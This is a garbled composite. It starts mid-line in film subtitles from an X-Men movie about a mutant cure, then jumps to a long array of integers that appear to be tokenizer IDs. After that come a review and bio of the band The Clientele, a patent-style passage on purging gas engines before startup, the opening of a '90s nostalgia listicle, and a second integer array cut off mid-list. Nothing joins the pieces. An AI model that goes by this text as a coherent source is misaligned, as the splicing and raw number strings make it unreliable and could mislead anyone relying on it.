lift, kid?" "No." "Where are you going?" "You don't know what it's like to be afraid of your powers, afraid to get close to anybody." "Yeah, I do." "I want to be able to touch people, Logan." "A hug." "A handshake." "A kiss." "I hope you're not doing this for some boy." "Look, if you wanna go, then go." "Just be sure it's what you want." "Shouldn't you be telling me to stay?" "To go upstairs and unpack?" "I'm not your father." "I'm your friend." "Just think about what I said, Rogue." "Marie." "Marie." "Remember when we first met?" "Do you know what I saw when I looked at you?" "I saw the next stage in evolution both Charles and I dreamt of finding." "And I thought to myself, "Why would Charles want to turn this goddess into a mortal?"" "I can manipulate the metal in this, but you, you can do anything." "Anything you can think of." "Jean." "Enough." "Enough." "You sound just like him." "Jean, he wanted to hold you back." " What do you want?" " I want you to be what you are." "As nature intended." "That cure is meant for all of us." "If we want freedom, we must fight for it." "And that fight begins now." "She shouldn't be here with us." " Her power is completely unstable." " Only in the wrong hands." " And you trust her?" "She's one of them." " So were you once." "I stuck with you." "Would have killed the professor if you'd given me the chance." "Charles Xavier did more for mutants than you'll ever know." "My single greatest regret is that he had to die for our dream to live." "So what now?" "What do we do?" "Xavier started this school." "Perhaps it's best that it end with him." " We'll tell the students they're going home." " Most of us don't have anywhere to go." "I can't believe this." "I can't believe we're not going to fight for this school." "I'm sorry." "I know this is a bad time." "I was told that this was a safe place for mutants." "It was, son." "And it still is." "We'll find you a room." "Hank, tell all the students the school stays open." "Rogue." "Hey, Rogue." " Hey, Pete." "Have you seen Rogue?" " Yeah, she took off." "Logan." "Logan." " Logan." " Jean?" "Logan." "Where am I?" "Logan." "Logan." "Logan." " Logan." " Stop." "Logan." "Logan." "Logan." " Where are you going?" " Where do you think?" " She's gone, Logan." "She's not coming back." " You don't know that." "She killed the professor." "It wasn't Jean." "The Jean I know is still in there." "Listen, why can't you see the truth?" " Why can't you just let her go?" " Because... because..." "Because you love her." "She made her choice." "Now it's time we make ours." "So if you're with us, then be with us." "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "Getting the cure so you can go back home to mommy and daddy?" "I'm looking for someone." "Oh, I get it." "Your girlfriend." "I figured she'd want the cure." "She's pathetic." "Come on, Iceman." "Make a move." "Same old Bobby." "Still afraid of a fight." "Today's attack was only our first salvo." "So long as the cure exists, our war will rage." "Your cities will not be safe." "Your streets will not be safe." "You will not be safe." "And to my fellow mutants, I make you this offer..." "Join us or stay out of our way." "Enough mutant blood has been spilled already." "We're trying to track them, sir." "We're working hard." " We cannot let him do this." " You know I agree, sir." "This is now a national security matter." "Seize and secure Worthington Labs." "I want troops armed with cure weapons deployed immediately." "And Trask, you have to find Magneto and stop him by any means necessary." "Magneto wants a war." "We'll give him one." "Let's go." "Keep it moving." "Turn in your old weapon." "Turn in all metal." "Bayonets, magazines, dog tags." "Pick up your plastic weapons." "Pick up your cure cartridge." "Absolutely no metal." "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "They wish to cure us." "But I say to you we are the cure." "The cure for that infirm, imperfect condition called homo sapiens." "They have their weapons." "We have ours." "We will strike with a vengeance and a fury that this world has never witnessed." "And if any mutants stand in our way, we will use this poison against them." "We shall go to Alcatraz Island, take control of the cure, and destroy its source." "And then nothing can stop us." "Jean." "I know the smell of your adamantium from a mile away." " I didn't come here to fight you." " Smart boy." " I came for Jean." " You think I'm keeping her against her will?" " She's here because she wants to be." " You don't know what you're dealing with." "I know full well." "I saw what she did to Charles." "And you stood there and let him die?" " I'm not leaving here without her." " Yes, you are." "OK." "Two minutes till rendezvous, Mr President." "We have a satellite feed of Magneto's base of operations." " How did we find it?" " She gave us everything we wanted." "Hell hath no fury like a woman scorned." "Approaching target dead ahead." "Set for 360-degree incursion." "This is Team Leader to Bravo One." "We are green to go." "OK, send them in." "OK." "Freeze, mutants!" "Get your hands in the air!" "Hands in the air!" "OK." "I give up." "Sorry, Mr Secretary, it was a decoy." "If he's not there, then where the hell is he?" "Worthington Labs." "It ends where it began." " Are you sure the boy is still inside?" " 100%." "So how are we supposed to get there?" "Cos I don't swim." "Leave that to me." "Storm." "Storm." "What are you doing back here?" "I need help." " You found her." " Yeah." "She's with Magneto." " Where are they?" " On the move." "I know where they're going." " You're saying you saw Magneto?" " We gotta go." "They're gonna attack Alcatraz." " There are troops stationed on that island." "
[ 2326, 253, 1708, 273, 1388, 13, 285, 597, 250, 512, 4942, 594, 747, 13, 604, 368, 476, 1067, 9575, 2800, 281, 1458, 1107, 1711, 747, 15, 313, 42, 5476, 352, 816, 3133, 751, 11066, 672, 309, 369, 806, 7329, 281, 436, 3961, 2698, 4952, 253, 747, 4498, 13, 1623, 247, 14538, 21832, 13, 369, 4439, 1390, 807, 347, 247, 2014, 13, 594, 28763, 644, 562, 627, 285, 7329, 15, 1621, 878, 281, 2312, 670, 326, 4498, 390, 253, 1551, 15, 1583, 1335, 1462, 327, 616, 1211, 13, 285, 789, 973, 2366, 275, 436, 3790, 14, 484, 13, 2403, 436, 1646, 751, 247, 747, 5400, 273, 3365, 1711, 2144, 34183, 864, 264, 598, 247, 2372, 15, 187, 187, 688, 22772, 496, 76, 187, 187, 42, 419, 2254, 2326, 253, 6224, 8442, 13, 533, 380, 23472, 11177, 403, 17324, 625, 4633, 275, 253, 1982, 685, 275, 253, 5591, 15, 309, 13876, 670, 436, 13, 285, 17602, 10604, 309, 1869, 4546, 275, 253, 1072, 22467, 297, 13, 285, 858, 275, 958, 6746, 1216, 18395, 275, 253, 5591, 13, 751, 31596, 708, 35972, 285, 380, 775, 482, 282, 790, 15, 187, 510, 23472, 11177, 403, 4536, 21690, 314, 2529, 347, 2469, 7909, 13, 247, 30047, 326, 812, 320, 20854, 323, 4495, 21858, 390, 1014, 1210, 532, 301, 15, 380, 23472, 11177, 403, 13, 275, 958, 13, 3240, 7870, 13, 533, 7870, 275, 253, 3282, 273, 1146, 5389, 4198, 8999, 273, 253, 4498, 28, 247, 47111, 1397, 757, 3290, 273, 36910, 5237, 19844, 285, 19114, 272, 47087, 15, 1198, 4227, 13, 8028, 281, 9018, 26013, 1292, 1422, 13, 2668, 432, 11228, 43156, 273, 253, 35578, 13, 247, 1663, 23535, 1684, 4498, 534, 31562, 253, 11994, 84, 13, 533, 760, 275, 253, 3282, 273, 1146, 38189, 257, 281, 253, 40641, 13, 513, 70, 14, 26731, 285, 440, 951, 79, 474, 15, 3856, 13, 380, 23472, 11177, 921, 3746, 347, 10102, 28601, 13, 716, 2355, 14021, 326, 2740, 1066, 1014, 253, 954, 43656, 40308, 7989, 15, 187, 6436, 13, 896, 281, 616, 18395, 275, 253, 530, 15, 52, 15, 3900, 11298, 281, 436, 1682, 273, 5400, 13, 1219, 531, 285, 914, 6549, 13, 247, 1180, 273, 10414, 48272, 2448, 2210, 281, 2564, 15, 380, 41128, 1175, 36459, 273, 380, 16246, 21733, 661, 13, 253, 4618, 46993, 28667, 273, 3826, 90, 8302, 275, 253, 23599, 313, 42, 21860, 1023, 358, 1916, 10338, 1422, 27288, 582, 285, 253, 21140, 5424, 742, 28232, 273, 40794, 32574, 432, 2263, 911, 4173, 313, 2374, 329, 14538, 21832, 481, 309, 369, 671, 17328, 273, 253, 7353, 6945, 14, 18362, 18072, 2979, 273, 9069, 308, 664, 6368, 285, 5874, 1940, 313, 510, 11628, 273, 1023, 6169, 481, 187, 2422, 531, 285, 914, 6549, 3936, 767, 11411, 432, 253, 2393, 21864, 4849, 13, 4974, 21104, 10315, 313, 7676, 9889, 2732, 14884, 285, 844, 16574, 11255, 20058, 10, 2393, 1698, 14, 11125, 285, 440, 522, 862, 17859, 278, 3827, 11411, 534, 1670, 254, 4404, 253, 2936, 31366, 275, 1055, 13, 533, 440, 4818, 1428, 275, 10636, 15, 380, 11617, 761, 16187, 285, 7392, 2653, 6861, 1482, 2761, 3133, 247, 523, 1069, 593, 15, 1583, 403, 2299, 13, 7353, 1684, 9575, 15, 42234, 310, 14287, 432, 380, 48055, 36581, 13, 285, 380, 23472, 11177, 403, 5068, 281, 17614, 3878, 616, 34863, 15, 40816, 43777, 432, 5826, 17904, 253, 1735, 1264, 11411, 15, 380, 4498, 17695, 29701, 339, 369, 973, 275, 1941, 407, 840, 13, 2761, 47556, 8140, 327, 3932, 611, 21979, 6061, 3189, 253, 23599, 625, 13224, 13, 625, 1213, 888, 285, 3579, 275, 253, 5878, 13, 285, 253, 5237, 19844, 403, 19652, 1417, 15, 380, 47087, 448, 1022, 751, 416, 15, 38, 15, 46, 2100, 66, 17064, 2980, 387, 12972, 15, 187, 3463, 7225, 29203, 12000, 45388, 327, 2656, 23017, 380, 23472, 11177, 13, 253, 3961, 497, 35766, 275, 616, 1211, 25803, 13, 1907, 1048, 43700, 247, 5702, 1684, 3590, 33048, 31187, 3815, 15, 187, 2447, 6549, 15, 187, 187, 31189, 1559, 357, 187, 187, 1552, 9567, 4683, 310, 11019, 10418, 318, 273, 21242, 428, 608, 16, 22, 187, 187, 15155, 5309, 187, 187, 15705, 1528, 2372, 1336, 8775, 1684, 428, 577, 16, 22, 187, 187, 50, 20308, 187, 187, 510, 23472, 11177, 187, 187, 510, 23472, 11177, 4447, 247, 1048, 673, 3622, 275, 253, 896, 48853, 273, 33963, 24129, 13, 4882, 2366, 347, 5753, 387, 2143, 13, 33558, 272, 275, 247, 326, 2147, 29705, 8905, 432, 667, 2238, 273, 3440, 6200, 13, 533, 45904, 1701, 407, 253, 21653, 23457, 8098, 273, 7667, 991, 466, 6783, 285, 401, 2585, 13, 285, 253, 4369, 1684, 273, 10540, 285, 253, 1503, 4894, 447, 15, 6408, 247, 13384, 7827, 253, 3961, 26708, 14285, 326, 352, 369, 10826, 281, 320, 12208, 407, 6201, 6549, 382, 16053, 533, 417, 10826, 281, 452, 667, 26523, 390, 32428, 12609, 1220, 375, 15, 4325, 326, 2774, 327, 597, 1691, 616, 21463, 327, 247, 2238, 273, 299, 24763, 13, 940, 3086, 6313, 1684, 13, 25752, 281, 697, 5667, 84, 285, 5950, 4541, 281, 577, 3540, 28046, 11173, 15, 187, 187, 6872, 19654, 497, 4439, 347, 6652, 5356, 32487, 818, 21864, 387, 253, 8105, 14, 423, 273, 253, 5091, 84, 13, 285, 18133, 347, 253, 45660, 7402, 715, 253, 11386, 5400, 13, 4974, 21104, 10315, 13, 1024, 46156, 347, 581, 273, 253, 23476, 5861, 273, 253, 9976, 15, 4325, 253, 28290, 1684, 1445, 273, 4974, 21104, 10315, 2210, 247, 2118, 715, 253, 23010, 342, 253, 374, 2109, 20590, 13, 380, 48055, 36581, 13, 4439, 275, 6469, 15, 743, 3177, 281, 2794, 247, 12861, 13, 625, 19796, 3590, 13, 352, 369, 271, 36703, 6611, 267, 23472, 11177, 1924, 27, 45904, 280, 13, 1881, 14, 257, 13784, 13, 1313, 40685, 6153, 697, 1211, 1533, 15, 187, 187, 510, 23472, 11177, 294, 14, 249, 2254, 264, 616, 3440, 342, 40816, 43777, 313, 9204, 10, 285, 2656, 23017, 253, 23472, 11177, 313, 8602, 558, 14468, 473, 1608, 3920, 1255, 90, 313, 3220, 14169, 90, 33099, 13, 2604, 1983, 27981, 312, 10, 285, 4744, 3532, 735, 4197, 13, 285, 3599, 15648, 13691, 7406, 46425, 2530, 5431, 23535, 2876, 16669, 15, 380, 3590, 369, 8750, 13, 32950, 13, 285, 30909, 13, 5602, 46959, 256, 33802, 13, 966, 1037, 14, 249, 8501, 5666, 12609, 3740, 285, 5490, 23972, 5462, 256, 6673, 23329, 16819, 16248, 281, 2794, 247, 1027, 2238, 273, 6864, 285, 10825, 323, 253, 9841, 45531, 9575, 13, 534, 1024, 2210, 3426, 342, 31595, 4549, 28, 1485, 543, 579, 4087, 13, 581, 273, 731, 1014, 12819, 275, 253, 6018, 40160, 1720, 23841, 1227, 43785, 17346, 825, 359, 554, 466, 13, 346, 510, 9396, 3995, 3446, 187, 187, 27157, 43156, 327, 253, 35578, 313, 7857, 10, 310, 275, 247, 3282, 247, 1091, 281, 253, 23472, 6719, 11465, 28, 253, 7156, 3022, 33963, 37328, 806, 14494, 275, 253, 2393, 21864, 13, 616, 1195, 19500, 3282, 273, 1821, 584, 10046, 1024, 15, 8247, 275, 4693, 13, 597, 306, 8392, 327, 5662, 21188, 273, 4383, 19365, 13, 534, 2226, 1060, 1930, 14, 1615, 14, 2189, 342, 253, 3961, 434, 625, 7615, 12145, 66, 285, 1684, 3603, 13, 6153, 247, 4522, 6134, 39192, 1632, 15, 7850, 2223, 753, 253, 1682, 10604, 2794, 616, 1211, 3590, 28, 253, 23472, 11177, 452, 4783, 581, 2007, 285, 3562, 271, 2862, 1533, 15, 688, 247, 638, 17890, 461, 279, 14, 348, 7272, 1511, 9644, 5398, 2658, 3678, 4812, 19776, 3948, 313, 30350, 13, 6289, 281, 275, 2159, 347, 247, 3678, 3948, 582, 627, 310, 247, 4983, 1332, 25987, 3468, 2329, 8577, 13, 275, 534, 21012, 2329, 313, 1439, 11616, 7236, 3678, 10, 310, 5611, 715, 37025, 281, 21033, 247, 3678, 3948, 1078, 4983, 271, 2329, 4983, 2813, 13, 323, 253, 4096, 273, 12669, 253, 3304, 273, 253, 37025, 13, 24682, 27203, 318, 273, 253, 20661, 9421, 273, 253, 37025, 285, 13983, 790, 326, 14518, 3304, 253, 37025, 13, 285, 8493, 253, 9008, 789, 1078, 4983, 15, 496, 247, 3678, 4812, 19776, 3948, 326, 17923, 3468, 2329, 8577, 13, 21012, 2329, 326, 310, 908, 1309, 3468, 2329, 8577, 285, 1919, 20500, 273, 253, 3948, 970, 21012, 2329, 313, 1439, 11616, 7236, 3678, 10, 310, 2684, 9674, 281, 3468, 2329, 8577, 17923, 253, 2554, 273, 9286, 45726, 1078, 20500, 273, 253, 3678, 3948, 15, 187, 6436, 13, 281, 7895, 6186, 285, 5252, 273, 253, 7236, 3678, 323, 253, 3678, 3948, 13, 247, 5235, 273, 4095, 13, 28367, 13, 285, 253, 751, 13, 403, 2530, 13, 432, 534, 32947, 23753, 273, 253, 7236, 3678, 778, 2826, 15, 48898, 3678, 1907, 31347, 432, 253, 1840, 4095, 13, 28367, 13, 285, 253, 751, 778, 2685, 281, 285, 29010, 275, 253, 3678, 3948, 13, 271, 9286, 5048, 13, 285, 253, 751, 15, 1310, 253, 3678, 3948, 310, 17609, 281, 7236, 14, 22228, 38770, 20500, 762, 824, 247, 1617, 13, 253, 47125, 7236, 3678, 39508, 10969, 19776, 285, 8540, 253, 3678, 3948, 13, 253, 9286, 5048, 13, 285, 253, 751, 15, 187, 40504, 15027, 337, 14110, 9591, 247, 6079, 14, 1094, 42014, 2972, 273, 42014, 6079, 2329, 715, 271, 10820, 5048, 285, 247, 33852, 272, 2972, 273, 4900, 2996, 285, 17420, 272, 2329, 14, 36667, 7802, 342, 247, 13673, 10358, 285, 4983, 9381, 273, 271, 3453, 13755, 273, 247, 3678, 3948, 846, 253, 6079, 14, 1094, 42014, 2972, 15, 1284, 247, 906, 13, 604, 253, 3678, 3948, 310, 3053, 13, 6079, 2329, 310, 13945, 715, 271, 2329, 14, 4032, 314, 5048, 1078, 4254, 273, 253, 13673, 10358, 13, 534, 11355, 253, 7880, 25672, 3304, 253, 10820, 5048, 15, 3308, 13, 604, 253, 13673, 10358, 17209, 323, 253, 806, 673, 846, 20500, 13, 2329, 342, 1698, 25672, 310, 12164, 715, 247, 19776, 9320, 15, 10022, 13, 253, 2553, 273, 14722, 273, 253, 13673, 10358, 310, 1679, 2779, 281, 755, 14241, 13, 534, 2789, 352, 1896, 281, 6558, 1175, 29491, 5052, 875, 253, 14722, 13, 594, 326, 253, 13673, 10358, 15693, 653, 7969, 9403, 285, 30181, 603, 310, 14415, 15, 187, 11389, 13, 275, 11754, 15027, 337, 13, 638, 14, 13182, 463, 13, 534, 310, 281, 10143, 5780, 3678, 275, 247, 19776, 9320, 281, 253, 3345, 3066, 253, 9286, 5048, 13, 310, 2684, 15, 2058, 436, 673, 13, 253, 806, 14888, 263, 13, 253, 1273, 14888, 263, 13, 285, 253, 13673, 10358, 403, 8838, 281, 320, 6294, 1066, 15, 743, 8829, 5234, 11059, 27599, 285, 247, 26023, 29450, 11059, 13279, 15, 1284, 247, 906, 13, 247, 26023, 5694, 7866, 281, 10196, 285, 247, 8778, 29061, 310, 8877, 281, 21033, 2366, 342, 271, 3453, 13755, 15, 2635, 13, 253, 13983, 790, 33704, 366, 1293, 253, 2329, 14, 36667, 7802, 17362, 38770, 19776, 15, 496, 436, 1039, 13, 10820, 28367, 285, 9286, 28367, 403, 8877, 407, 253, 3453, 13755, 13, 9591, 5909, 16, 49209, 3200, 275, 8956, 342, 253, 9980, 273, 253, 13983, 790, 15, 1284, 253, 33704, 839, 3200, 273, 253, 13983, 790, 310, 6015, 13, 253, 5780, 3678, 275, 253, 19776, 9320, 310, 6726, 562, 281, 253, 9286, 5048, 15, 7820, 13, 6079, 2329, 310, 12164, 281, 247, 2022, 19776, 9320, 285, 247, 638, 17890, 461, 279, 9320, 432, 253, 10820, 5048, 15, 496, 436, 1039, 13, 352, 310, 1896, 281, 39825, 366, 253, 3304, 273, 253, 2022, 19776, 9320, 285, 253, 638, 17890, 461, 279, 9320, 342, 6079, 2329, 13, 534, 2789, 352, 1896, 281, 3657, 1327, 14, 17890, 15172, 3678, 390, 48580, 432, 1146, 11217, 715, 2329, 14, 36667, 7802, 604, 253, 2329, 14, 36667, 7802, 39508, 38770, 19776, 323, 253, 806, 673, 2220, 20500, 15, 380, 33704, 839, 3200, 273, 253, 13983, 790, 310, 6015, 247, 2176, 1180, 273, 2069, 326, 310, 10481, 1781, 281, 10143, 3678, 432, 253, 2022, 19776, 9320, 285, 253, 638, 17890, 461, 279, 9320, 285, 326, 310, 10481, 1355, 594, 326, 2329, 275, 253, 6186, 14, 1094, 5048, 1057, 417, 4336, 1509, 949, 253, 2022, 19776, 9320, 15, 1099, 49039, 1916, 19906, 1422, 457, 250, 329, 26184, 4683, 380, 2802, 2270, 84, 187, 187, 1466, 457, 84, 2454, 352, 13, 2717, 27125, 253, 2802, 2270, 84, 2, 1244, 816, 984, 368, 497, 5686, 247, 9976, 390, 594, 3622, 13, 2506, 626, 1599, 368, 28729, 512, 273, 697, 591, 661, 15, 3856, 434, 247, 1618, 273, 752, 368, 8839, 1364, 4456, 281, 1908, 4834, 247, 686, 2270, 84, 5772, 15, 187, 187, 25698, 327, 187, 20266, 3307, 13, 4332, 13, 16703, 27, 2640, 25386, 187, 187, 1552, 310, 247, 3367, 13, 1327 ]	seen the light of day, and theyre all relatively so new, if you can call songs six to 15 years old new. (I guess it just seems like yesterday when I was first exposed to this band.) Even the new song, On a Summer Trail, was released last year as a single, so thats been out there and exposed. No need to talk about that song or the rest. They still stand on their own, and work well together in this round-up, making this seem like a new album of simply old material freshened up a bit. Invisible Ink I havent seen the sales figures, but The Clientele are reportedly more popular in the US than in the UK. I wondered about this, and recalled bands I thought played in the same idiom, and did in fact garner popularity in the UK, like Belle & Sebastian and The Chameleons. The Clientele are sometimes benignly described as pastoral, a descriptor that could be mistaken for meaning diffuse or even insipid. The Clientele are, in fact, quite dynamic, but dynamic in the sense of being beautiful proponents of the song; a Byrdsian quality of layered harmonies and chiming guitars. For instance, listen to Never Anyone But You, taken from Bonfires of the Heath, a really gorgeous pop song which recalls the 1960s, but only in the sense of being beholden to the melody, doe-eyed and uncynical. Here, The Clientele show themselves as romantics, teasing emotions that break down even the most hardened indie fan. However, back to their popularity in the U.S. While listening to this best of album, Alone and Unreal, a number of references decidedly American came to mind. The exquisite good vibrations of The Jayhawks, the wide eyed innocence of Davy Jones in the vocals (I Cant Seem To Make You Mine), and the delicate hushed tones of Joey Burns from Calexico (On A Summer Trail). I was also reminded of the sweet alt-country cadences of Jeff Tweedy and Wilco (The Queen of Seville). Alone and Unreal takes two tracks from the early singles collection, Suburban Light (Reflections After Jane and We Could Walk Together) early low-fi and unapologetically mellow tracks which veer towards the urbane in effect, but unpolished in execution. The deeply recessed and echoey ambience almost seems a contrivance. They are however, sweet pop songs. Missing is lifted from The Violet Hour, and The Clientele are beginning to sharpen their hooks. Strange Geometry from 2005 contributes the next three tracks. The songwriting finesse was well in evidence by then, almost deliriously on Since K Got Over Me the vocals more confident, more strident and forward in the mix, and the harmonies are flawless. The guitars chimes like R.E.M circa Gardening at Night. By Bookshop Casanova on God Save The Clientele, the band were comfortably in their own niche, having long etched a professional pop sound distinctly theirs alone. Unreal. Soundblab This Best Of is mere affirmation of genius - 5/5 Mojo Superior bittersweet pop - 4/5 Q Magazine The Clientele The Clientele formed a long time ago in the backwoods of suburban Hampshire, playing together as kids at school, rehearsing in a thatched cottage remote from any kind of music scene, but hypnotised by the magical strangeness of Galaxie 500 and Felt, and the psych pop of Love and the Zombies. During a pub conversation the band collectively voted that it was OK to be influenced by Surrealist poetry but not OK to have any shouting or blues guitar solos. From that moment on they put their stamp on a kind of eerie, distanced pure pop, stripped to its essentials and recorded quickly to 4 track analogue tape. These recordings were released as lovingly packaged 7 singles at the tail-end of the 90s, and compiled as the millennium ended into the debut album, Suburban Light, now hailed as one of the finest records of the decade. From the faded pop art of Suburban Light came a move into the fog with the 2nd LP, The Violet Hour, released in 2003. An attempt to create a deeper, more mysterious sound, it was an archetypal Clientele record: hypnotic, self-enclosed, meticulously creating its own world. The Clientele re-invented their music with Strange Geometry (2005) and God Save the Clientele (2007); Brian O Shaughnessy (My Bloody Valentine, Primal Scream) and Mark Nevers produced, and El Records legend Louis Philippe provided typically gorgeous string arrangements. The sound was bigger, brighter, and clearer, MacLean s ringing, classically-influenced guitar style and James Hornsey s melodic bass combining to create a different kind of depth and atmosphere for the newly sparkling songs, which now came complete with crossover appeal; incongruously, one of them even featured in the Keanu Reeves / Sandra Bullock weepie, "The Lake House". Bonfires on the Heath (2009) is in a sense a return to the Clienteles roots; the dreamlike suburban landscapes first encountered in the early singles, their trippy sense of menace stronger now. Back in London, theyve drawn on older traditions of English folk, which exist here side-by-side with the band's more familiar bossa and pop elements, creating a timeless eeriness. Its often said the best bands create their own sound; the Clientele have gone one further and created an entire world.In a precombustion-chamber type lean premixed gas internal combustion engine (hereinafter, referred to in short as a gas engine), there is a starting method adopting slow air turning, in which compressed air (not comprising fuel gas) is introduced into cylinders to rotate a gas engine before starting an air starting device, for the purpose of checking the inside of the cylinders, securing lubrication of the sliding surfaces of the cylinders and pistons that slide inside the cylinders, and reducing the preparation work before starting. In a gas internal combustion engine that performs slow air turning, compressed air that is used during slow air turning and until startup of the engine using compressed air (not comprising fuel gas) is performed subsequently to slow air turning performs the role of exhaust purge before startup of the gas engine. However, to secure supply and safety of the fuel gas for the gas engine, a variety of devices, valves, and the like, are provided, from which unpredictable leakage of the fuel gas may occur. Fuel gas having leaked from the above devices, valves, and the like may flow to and accumulate in the gas engine, an exhaust channel, and the like. If the gas engine is switched to fuel-gas ignition startup under such a condition, the accumulating fuel gas undergoes abnormal combustion and damages the gas engine, the exhaust channel, and the like. Patent Document 1 discloses performing a dry-air injecting block of injecting dry air into an intake channel and a cranking block of igniting and combusting air-fuel mixture with a spark plug and starting rotation of an output shaft of a gas engine after the dry-air injecting block. As a result, if the gas engine is started, dry air is injected into an air-supply channel before operation of the spark plug, which reduces the absolute humidity inside the intake channel. Thus, if the spark plug operates for the first time after startup, air with low humidity is supplied into a combustion chamber. Accordingly, the surface of electrodes of the spark plug is less likely to get moist, which makes it possible to maintain good insulation resistance between the electrodes, so that the spark plug generates sparks normally and misfire is prevented. Further, in Patent Document 1, pre-purge, which is to discharge remaining gas in a combustion chamber to the outside via the exhaust channel, is performed. At this time, the first injector, the second injector, and the spark plug are maintained to be shut down. An injection switch valve closes and a starter inlet valve opens. As a result, a starter motor starts to operate and a flywheel is driven to rotate together with an output shaft. Then, the pistons reciprocate without the air-fuel mixture undergoing ignition combustion. In this way, intake valves and exhaust valves are driven by the output shaft, performing opening/closing motion in accordance with the stroke of the pistons. As the reciprocating motion of the pistons is repeated, the remaining gas in the combustion chamber is forced out to the exhaust channel. Instead, dry air is supplied to a main combustion chamber and a precombustion chamber from the intake channel. In this way, it is possible to ventilate the inside of the main combustion chamber and the precombustion chamber with dry air, which makes it possible to prevent non-combusted gas or soot from being incorporated into air-fuel mixture if the air-fuel mixture undergoes ignition combustion for the first time upon startup. The reciprocating motion of the pistons is repeated a certain number of times that is sufficiently large to discharge gas from the main combustion chamber and the precombustion chamber and that is sufficiently small so that air in the supply-air channel does not completely pass through the main combustion chamber.25 Ways To Tell You’re A Kid Of The ‘90s Let’s face it, nothing beats the ‘90s! And just because you were born a decade or so ago, doesn't mean you embraced all of its perks. Here's a list of what you absolutely must remember to consider yourself a '90s kid. Posted on August 22, 2011, 04:02 GMT This is a personal, non
[ 7095, 521, 1481, 562, 969, 15, 1583, 5310, 969, 15, 37667, 1863, 19085, 745, 253, 3971, 715, 21478, 8021, 53, 15, 367, 18004, 428, 39045, 37667, 434, 1113, 924, 13539, 949, 270, 44404, 285, 7180, 15, 2635, 352, 892, 2824, 689, 247, 1643, 2069, 285, 13446, 327, 697, 17727, 342, 247, 3499, 6992, 9947, 14194, 15, 37667, 310, 1335, 3405, 1882, 715, 253, 10865, 7319, 13, 22382, 15, 37667, 434, 2235, 4337, 7245, 12752, 367, 2431, 38, 1139, 13446, 327, 253, 1113, 3369, 987, 12200, 779, 15, 37667, 30611, 521, 2927, 285, 11403, 253, 12621, 15, 2635, 13, 342, 247, 5982, 3158, 19749, 463, 344, 8379, 30678, 352, 275, 521, 3564, 13, 285, 7740, 84, 512, 670, 2398, 2610, 15, 29376, 309, 858, 352, 2, 309, 858, 352, 2, 309, 7270, 253, 3168, 8393, 33453, 2, 309, 7270, 253, 3168, 8393, 33453, 2, 37667, 27287, 562, 273, 521, 1113, 285, 7866, 42654, 1475, 253, 5603, 342, 253, 8393, 33453, 2918, 1029, 689, 521, 1481, 15, 754, 4453, 24812, 15, 29376, 313, 34053, 8, 37, 10, 313, 4093, 272, 10, 309, 7270, 253, 3168, 8393, 33453, 13, 309, 7270, 253, 3168, 8393, 33453, 13, 309, 7270, 253, 3168, 21478, 37667, 49133, 1066, 285, 9513, 281, 1007, 1475, 2137, 1031, 15, 1707, 403, 1024, 271, 11555, 1180, 273, 11260, 591, 2147, 327, 253, 11265, 20343, 1475, 253, 5603, 285, 327, 253, 28005, 8965, 13, 285, 327, 253, 42534, 15, 380, 8467, 17202, 28170, 15, 754, 7808, 7819, 285, 14177, 281, 755, 896, 281, 253, 1113, 15, 1876, 253, 11260, 1379, 8630, 15, 37667, 5239, 253, 3168, 8393, 33453, 1959, 285, 7866, 281, 1408, 13, 533, 352, 434, 1512, 3563, 15, 380, 11260, 403, 327, 779, 15, 3586, 777, 272, 13, 285, 305, 529, 272, 13, 285, 4172, 2784, 521, 15447, 15, 3954, 359, 923, 3578, 11260, 12060, 1977, 342, 247, 1791, 15, 14263, 11260, 12060, 1977, 342, 271, 4430, 15, 19388, 2571, 403, 2820, 281, 1379, 37667, 434, 1669, 4430, 745, 13, 285, 2716, 521, 2454, 310, 5816, 21478, 29376, 329, 14587, 17162, 17520, 17520, 17520, 17520, 17520, 41, 15844, 330, 3329, 5935, 27, 8021, 53, 15, 367, 18004, 428, 39045, 37667, 310, 896, 275, 521, 24028, 264, 1113, 342, 521, 4430, 14203, 562, 253, 3497, 15, 329, 1355, 5006, 310, 14252, 352, 15, 20466, 58, 18793, 278, 2131, 15, 18793, 278, 2131, 15, 37667, 1705, 281, 8423, 13, 285, 4453, 387, 253, 5006, 342, 247, 8034, 4337, 2048, 15, 20466, 58, 313, 34053, 8, 37, 10, 2064, 369, 247, 1663, 18176, 13035, 13, 278, 2131, 15, 3166, 352, 969, 2, 37667, 256, 21144, 342, 6619, 15, 8021, 53, 15, 16432, 2300, 42, 428, 39045, 25838, 27815, 4352, 253, 3668, 9572, 27, 346, 35938, 48868, 611, 1838, 1322, 4785, 1703, 3, 346, 45897, 39580, 353, 16808, 2637, 3, 346, 37, 1539, 17242, 17003, 8702, 865, 3003, 443, 8372, 8998, 40526, 15348, 27, 346, 35938, 48868, 329, 8561, 54, 1647, 1703, 9149, 6589, 42, 1400, 7499, 1539, 2775, 19433, 1476, 1623, 253, 3835, 13, 2398, 2610, 9572, 342, 2067, 11122, 14355, 561, 275, 5842, 12317, 15, 8021, 53, 15, 32504, 8875, 3915, 6570, 428, 35004, 947, 16093, 39045, 329, 29784, 2315, 8059, 15, 1503, 408, 621, 273, 5689, 28303, 4827, 52, 11557, 512, 9351, 273, 3533, 387, 34120, 27721, 15, 5689, 28303, 4827, 22389, 13, 452, 627, 644, 667, 46091, 11684, 32, 444, 1042, 41, 35064, 1707, 434, 644, 642, 5511, 342, 253, 21064, 1212, 398, 387, 436, 673, 15, 5689, 28303, 4827, 1852, 19, 1737, 434, 1469, 281, 5108, 281, 253, 6053, 19466, 32, 7395, 352, 320, 44866, 32, 444, 1042, 41, 35064, 1284, 273, 1024, 13, 253, 2165, 310, 1469, 327, 347, 11526, 15, 5689, 28303, 4827, 1852, 20, 6049, 3589, 626, 253, 1345, 2183, 670, 18724, 1258, 640, 434, 39721, 32, 444, 1042, 41, 35064, 1023, 719, 951, 369, 5667, 15, 844, 1904, 626, 971, 667, 1345, 11689, 15, 5689, 28303, 4827, 6272, 253, 12137, 2905, 32, 1244, 752, 670, 19528, 20361, 1434, 434, 7701, 32, 444, 1042, 41, 35064, 309, 1353, 7016, 15, 309, 476, 626, 4385, 667, 2007, 15, 3954, 604, 368, 1833, 16267, 479, 15, 34120, 27721, 32804, 617, 1039, 949, 253, 9539, 273, 16817, 15, 26191, 15, 32504, 8875, 3915, 6570, 428, 353, 2277, 24937, 35004, 947, 